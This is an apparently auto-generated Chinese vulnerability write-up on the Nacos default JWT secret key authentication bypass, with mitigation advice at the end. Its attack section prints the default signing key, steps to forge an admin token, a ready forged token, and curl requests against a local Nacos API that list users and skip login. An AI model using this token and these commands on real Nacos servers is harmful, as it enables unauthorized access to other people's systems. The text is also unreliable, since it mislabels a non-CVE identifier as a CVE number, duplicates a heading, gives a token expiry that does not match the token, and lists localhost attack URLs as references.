一、漏洞简介

1.1 漏洞背景

Nacos 使用 JWT Token 进行身份认证,token.secret.key 用于签名。在 Nacos <= 2.2.0 版本中,该密钥使用固定的默认值,攻击者可伪造 JWT Token 绕过认证。此漏洞与 QVD-2023-6271 相关。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 QVD-2023-6271
危害等级 暂未找到权威信息
漏洞类型 Identity 默认值权限认证绕过
披露时间 暂未找到权威信息
影响组件 Nacos
项目 内容
CVE 编号 NVDB-CNVDB-2023674205
危害等级 严重(Critical)
CVSS 评分 9.8
漏洞类型 JWT 密钥泄露
影响 认证绕过、任意用户伪造
公开日期 2023年1月
<hr />

核验说明:原文使用编号 QVD-2023-6271,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。

二、影响范围

2.1 受影响的版本

  • Nacos 0.1.0 - 2.2.0
  • Nacos 1.4.1 - 1.4.4

2.2 不受影响的版本

  • Nacos 2.2.1+
  • Nacos 1.4.5+
<hr />

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nacos 开启了鉴权功能
  2. 使用默认的 server.identity 配置
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Nacos 默认配置中:

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

攻击者可使用此密钥生成任意用户的 JWT Token。

3.2 攻击步骤

  1. 访问 https://jwt.io
  2. Header:{"alg": "HS256"}
  3. Payload:{"sub": "nacos", "exp": 1893456000}(2029年过期)
  4. 使用默认 secret.key 签名(需要 base64 编码)
  5. 在请求中添加 Authorization: Bearer <token>
<hr />

3.2 源码层面的根因分析(结合源码与补丁对比)

暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。

四、漏洞复现(可选)

4.1 环境搭建

暂无公开可验证复现信息。

4.2 PoC 演示与测试过程

伪造的 JWT Token(2029年过期)

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo

使用 Token 访问

curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo'

绕过登录验证

curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users/login' \
  -H 'Authorization: Bearer <forged_token>' \
  -d 'username=nacos&password=wrong'
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Nacos 2.2.1 或更高版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

修改 token.secret.key

# application.properties
nacos.core.auth.plugin.nacos.token.secret.key=YourStrongSecretKeyWithAtLeast32Chars1234567890!
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。

6.2 其他技术参考资料

  • http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
  • http://127.0.0.1:8848/nacos/v1/auth/users'
  • https://jwt.io
  • http://127.0.0.1:8848/nacos/v1/auth/users/login'